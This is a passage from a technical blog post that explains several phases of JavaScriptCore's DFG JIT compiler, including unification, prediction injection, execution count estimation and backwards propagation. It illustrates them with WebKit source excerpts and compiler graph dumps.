</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">5</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">21</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Predecessors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Phi Nodes: D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">559</span><span style="color:#f92672">&lt;</span>loc39,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">428</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">558</span><span style="color:#f92672">&lt;</span>loc40,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">427</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">557</span><span style="color:#f92672">&lt;</span>loc5,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">554</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">556</span><span style="color:#f92672">&lt;</span><span style="color:#66d9ef">this</span>,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">553</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">655</span><span style="color:#f92672">&lt;</span>loc23,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">651</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">650</span><span style="color:#f92672">&lt;</span>loc24,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">646</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">165</span><span style="color:#f92672">&lt;</span>loc26,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">409</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">680</span><span style="color:#f92672">&lt;</span>loc34,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">403</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">684</span><span style="color:#f92672">&lt;</span>loc30,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">397</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">688</span><span style="color:#f92672">&lt;</span>loc4,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">555</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">696</span><span style="color:#f92672">&lt;</span>arg1,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">700</span>), D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">703</span><span style="color:#f92672">&lt;</span>arg2,<span style="color:#ae81ff">1</span><span style="color:#f92672">&gt;-&gt;</span>(D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">707</span>)
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   States: StructuresAreWatched, CurrentlyCFAUnreachable
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Vars Before: <span style="color:#f92672">&lt;</span>empty<span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span>     <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#ae81ff">5</span>   <span style="color:#f92672">:</span>   Var Links: arg2:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">703</span> arg1:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">696</span> arg0:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">592</span> loc4:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">688</span> loc5:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">593</span> loc23:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">655</span> loc24:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">650</span> loc26:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">165</span> loc30:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">684</span> loc34:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">680</span> loc39:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">464</span> loc40:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">465</span>
</span></span></code></pre></div><p>In the snippet above the <code>Phi</code> node <code>D@559</code> has an <em>edge</em> to the child node pointing to the <code>SetLocal</code> node <code>D@428</code> which is in the <em>predecessor</em> block <code>#4</code>. The children of a <code>Phi</code> node can only be <code>SetLocal</code>, <code>SetArgumentDefinitely</code>, <code>SetArgumentMaybe</code> or another <code>Phi</code> node.</p>
<h2 id="unification">Unification</h2>
<blockquote>
<p>Examines all Phi functions and ensures that the variable access datas are unified. This creates our &ldquo;live-range split&rdquo; view of variables.</p>
</blockquote>
<p>This phase iterates over all <code>Phi</code> nodes and attempts to <a href="https://github.com/WebKit/WebKit/blob/fee6a752384f5e97baa38ecc271cb0eccd43a0ac/Source/JavaScriptCore/dfg/DFGUnificationPhase.cpp#L64"><code>unify</code></a> the <code>VariableAccessData</code> for the <code>Phi</code> nodes and the children of the node.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> phiIndex <span style="color:#f92672">=</span> block<span style="color:#f92672">-&gt;</span>phis.size(); phiIndex<span style="color:#f92672">--</span>;) {
</span></span><span style="display:flex;"><span>    Node<span style="color:#f92672">*</span> phi <span style="color:#f92672">=</span> block<span style="color:#f92672">-&gt;</span>phis[phiIndex];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> childIdx <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; childIdx <span style="color:#f92672">&lt;</span> AdjacencyList<span style="color:#f92672">::</span>Size; <span style="color:#f92672">++</span>childIdx) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>phi<span style="color:#f92672">-&gt;</span>children.child(childIdx))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        phi<span style="color:#f92672">-&gt;</span>variableAccessData()<span style="color:#f92672">-&gt;</span>unify(phi<span style="color:#f92672">-&gt;</span>children.child(childIdx)<span style="color:#f92672">-&gt;</span>variableAccessData());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If the child node has a different <code>VariableAccessData</code> to the parent then then the child is made the parent of the <code>Phi</code> node. The snippet from <em>WebKit/WebKitBuild/Debug/DerivedSources/ForwardingHeaders/wtf/UnionFind.h</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">unify</span>(T<span style="color:#f92672">*</span> other)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    T<span style="color:#f92672">*</span> a <span style="color:#f92672">=</span> <span style="color:#66d9ef">static_cast</span><span style="color:#f92672">&lt;</span>T<span style="color:#f92672">*&gt;</span>(<span style="color:#66d9ef">this</span>)<span style="color:#f92672">-&gt;</span>find();
</span></span><span style="display:flex;"><span>    T<span style="color:#f92672">*</span> b <span style="color:#f92672">=</span> other<span style="color:#f92672">-&gt;</span>find();
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    ASSERT(<span style="color:#f92672">!</span>a<span style="color:#f92672">-&gt;</span>m_parent);
</span></span><span style="display:flex;"><span>    ASSERT(<span style="color:#f92672">!</span>b<span style="color:#f92672">-&gt;</span>m_parent);
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (a <span style="color:#f92672">==</span> b)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    a<span style="color:#f92672">-&gt;</span>m_parent <span style="color:#f92672">=</span> b;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><a href="https://github.com/WebKit/WebKit/blob/2ed27bb518fb6b81ddd14ff71b4e7442cd915a76/Source/JavaScriptCore/dfg/DFGVariableAccessData.h#L46"><code>VariableAccessData</code></a> contains operand information and are stored in a vector defined in <a href="https://github.com/WebKit/WebKit/blob/2ed27bb518fb6b81ddd14ff71b4e7442cd915a76/Source/JavaScriptCore/dfg/DFGGraph.h#L1131">dfg/DFGGraph.h</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>SegmentedVector<span style="color:#f92672">&lt;</span>VariableAccessData, <span style="color:#ae81ff">16</span><span style="color:#f92672">&gt;</span> m_variableAccessData;
</span></span></code></pre></div><p>The DFG nodes, <code>SetArgumentDefinitely</code>, <code>SetArgumentMaybe</code>, <code>GetLocal</code> and <code>SetLocal</code> store <code>VariableAccessData</code> as an <code>opInfo</code> parameter. This can be retrieved with a call to <code>node-&gt;tryGetVariableAccessData()</code>. See <a href="https://github.com/WebKit/WebKit/blob/de5699d4e07a59078cd63d2ab54138bb5fa0b63e/Source/JavaScriptCore/dfg/DFGGraph.cpp#L318"><code>Graph::dump</code></a> for the <code>VariableAccessData</code> dumping section.</p>
<h2 id="prediction-injection">Prediction Injection</h2>
<blockquote>
<p>Takes miscellaneous data about variable type predictions and injects them.
This includes argument predictions and OSR entry predictions.</p>
</blockquote>
<p>As the developer comments suggest, this phase takes the the profiling data <a href="/posts/jsc-part2-the-llint-and-baseline-jit/#profiling-tiers">collected from the profiling tier</a> and then injects them into the IR. This affects <code>GetLocal</code>, <code>SetLocal</code> and <code>Flush</code> nodes. As an example, let&rsquo;s consider nodes generated for an arithmetic <code>add</code> instruction whose operands have been profiled as integer values:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg1(B<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg2(C<span style="color:#f92672">~/</span>FlushedJSValue), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span></code></pre></div><p><em>Prediction Injection</em> phase takes the profile information gathered for each block (e.g. arguments to the block) and injects this to the node. From the snippet above, the nodes <code>D@28</code> and <code>D@29</code> above, after prediction injection, would be updated as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg1(B<span style="color:#f92672">~&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedJSValue), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg2(C<span style="color:#f92672">~&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedJSValue), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span></code></pre></div><p>Notice how the graph now contains predicted types for <code>arg1</code> and <code>arg2</code> which is <code>BoolInt32</code> and <code>Int32</code> respectively. Additionally, it has added prediction information that the nodes <code>D@28</code> and <code>D@29</code> will result in generating <code>BoolInt32</code> and <code>NonBoolInt32</code> types.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:</span> ... arg1(B<span style="color:#f92672">~&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedJSValue) ... predicting BoolInt32
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:</span> ... arg2(C<span style="color:#f92672">~&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedJSValue) ... predicting NonBoolInt32
</span></span></code></pre></div><h2 id="static-execution-count-estimation">Static Execution Count Estimation</h2>
<blockquote>
<p>Estimate execution counts (branch execution counts, in particular) based on
presently available static information. This phase is important because
subsequent CFG transformations, such as OSR entrypoint creation, perturb our
ability to do accurate static estimations. Hence we lock in the estimates early.
Ideally, we would have dynamic information, but we don&rsquo;t right now, so this is as
good as it gets.</p>
</blockquote>
<p>This phase adds the static execution counts to each block as well as adds execution weights to each branch and switch node.This phase also calculates <a href="https://en.wikipedia.org/wiki/Dominator_(graph_theory)"><em>dominators</em></a> for the various blocks in the graph, this is useful for the CFG Simplification phase. See details about this in <em>WebKit/WebKitBuild/Debug/DerivedSources/ForwardingHeaders/wtf/Dominators.h</em>. An example of this is is shown in the graph dump below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#f92672">:</span> Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">23</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Predecessors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Successors: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">8</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">9</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Dominated by: <span style="color:#960050;background-color:#1e0010">#</span>root <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">2</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">3</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">4</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Dominates: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">8</span> <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">9</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Dominance Frontier: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>   Iterated Dominance Frontier: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">6</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">473</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> MovHint(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">472</span>, MustGen, loc54, W:SideState, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">23</span>, ExitValid)
</span></span><span style="display:flex;"><span><span style="color:#f92672">:</span>    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">474</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span> SetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">472</span>, loc54(YF<span style="color:#f92672">~/</span>FlushedJSValue), W:Stack(loc54), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">23</span>, exit: bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">463</span> <span style="color:#f92672">--&gt;</span> isFinite<span style="color:#960050;background-color:#1e0010">#</span>DJEgRe:<span style="color:#f92672">&lt;</span><span style="color:#ae81ff">0x7fffaefc7b60</span><span style="color:#f92672">&gt;</span> bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">27</span>, ExitValid)  predicting None
</span></span><span style="display:flex;"><span>:    D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">475</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> Branch(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">472</span>, MustGen, T:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">8</span><span style="color:#f92672">/</span>w:<span style="color:#ae81ff">1.000000</span>, F:<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">9</span><span style="color:#f92672">/</span>w:<span style="color:#ae81ff">1.000000</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">27</span>, ExitValid)
</span></span></code></pre></div><h2 id="backwards-propagation">Backwards Propagation</h2>
<blockquote>
<p>Infer basic information about how nodes are used by doing a block-local
backwards flow analysis.</p>
</blockquote>
<p>This phase starts by looping over the blocks in the graph from the last to the first and evaluates the NodeFlags on each node. For each node evaluated, it attempts to <a href="https://github.com/WebKit/WebKit/blob/5fc7945290ff1b792c652047d01c1898768ee117/Source/JavaScriptCore/dfg/DFGBackwardsPropagationPhase.cpp#L180">merge the flags of the node with the <code>NodeBytecodeBackPropMask</code> flags</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">propagate</span>(Node<span style="color:#f92672">*</span> node)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    NodeFlags flags <span style="color:#f92672">=</span> node<span style="color:#f92672">-&gt;</span>flags() <span style="color:#f92672">&amp;</span> NodeBytecodeBackPropMask;
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">switch</span> (node<span style="color:#f92672">-&gt;</span>op()) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> GetLocal: {
</span></span><span style="display:flex;"><span>        VariableAccessData<span style="color:#f92672">*</span> variableAccessData <span style="color:#f92672">=</span> node<span style="color:#f92672">-&gt;</span>variableAccessData();
</span></span><span style="display:flex;"><span>        flags <span style="color:#f92672">&amp;=</span> <span style="color:#f92672">~</span>NodeBytecodeUsesAsInt; <span style="color:#75715e">// We don&#39;t care about cross-block uses-as-int.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        m_changed <span style="color:#f92672">|=</span> variableAccessData<span style="color:#f92672">-&gt;</span>mergeFlags(flags);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">case</span> SetLocal: {
</span></span><span style="display:flex;"><span>        VariableAccessData<span style="color:#f92672">*</span> variableAccessData <span style="color:#f92672">=</span> node<span style="color:#f92672">-&gt;</span>variableAccessData();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>variableAccessData<span style="color:#f92672">-&gt;</span>isLoadedFrom())
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>        flags <span style="color:#f92672">=</span> variableAccessData<span style="color:#f92672">-&gt;</span>flags();
</span></span><span style="display:flex;"><span>        RELEASE_ASSERT(<span style="color:#f92672">!</span>(flags <span style="color:#f92672">&amp;</span> <span style="color:#f92672">~</span>NodeBytecodeBackPropMask));
</span></span><span style="display:flex;"><span>        flags <span style="color:#f92672">|=</span> NodeBytecodeUsesAsNumber; <span style="color:#75715e">// Account for the fact that control flow may cause overflows that our modeling can&#39;t handle.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        node<span style="color:#f92672">-&gt;</span>child1()<span style="color:#f92672">-&gt;</span>mergeFlags(flags);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Backwards Propagation updates the node flags to provide additional information on how the resultant computation of a node is used.</p>
<h2 id="prediction-propagation">Prediction Propagation</h2>
<blockquote>
<p>Propagate predictions gathered at heap load sites by the value profiler, and
from slow path executions, to generate a prediction for each node in the graph.
This is a crucial phase of compilation, since before running this phase, we
have no idea what types any node (or most variables) could possibly have, unless
that node is either a heap load, a call, a GetLocal for an argument, or an
arithmetic op that had definitely taken slow path. Most nodes (even most
arithmetic nodes) do not qualify for any of these categories. But after running
this phase, we&rsquo;ll have full information for the expected type of each node.</p>
</blockquote>
<p>Consider the following graph snippet for an arithmetic <code>add</code> operation before the <code>Prediction Propagation</code> phase:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg1(B<span style="color:#f92672">~&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedJSValue), R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, arg2(C<span style="color:#f92672">~&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedJSValue), R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span> ValueAdd(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>PureInt, R:World, W:Heap, Exits, ClobbersExit, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span></code></pre></div><p>The <em>Prediction Propagation</em> phase then traverses the graph to add additional speculative type information on the node itself. The nodes <code>D@28</code>, <code>D@29</code> and <code>D@30</code> after the prediction propagation phase are listed below:</p>
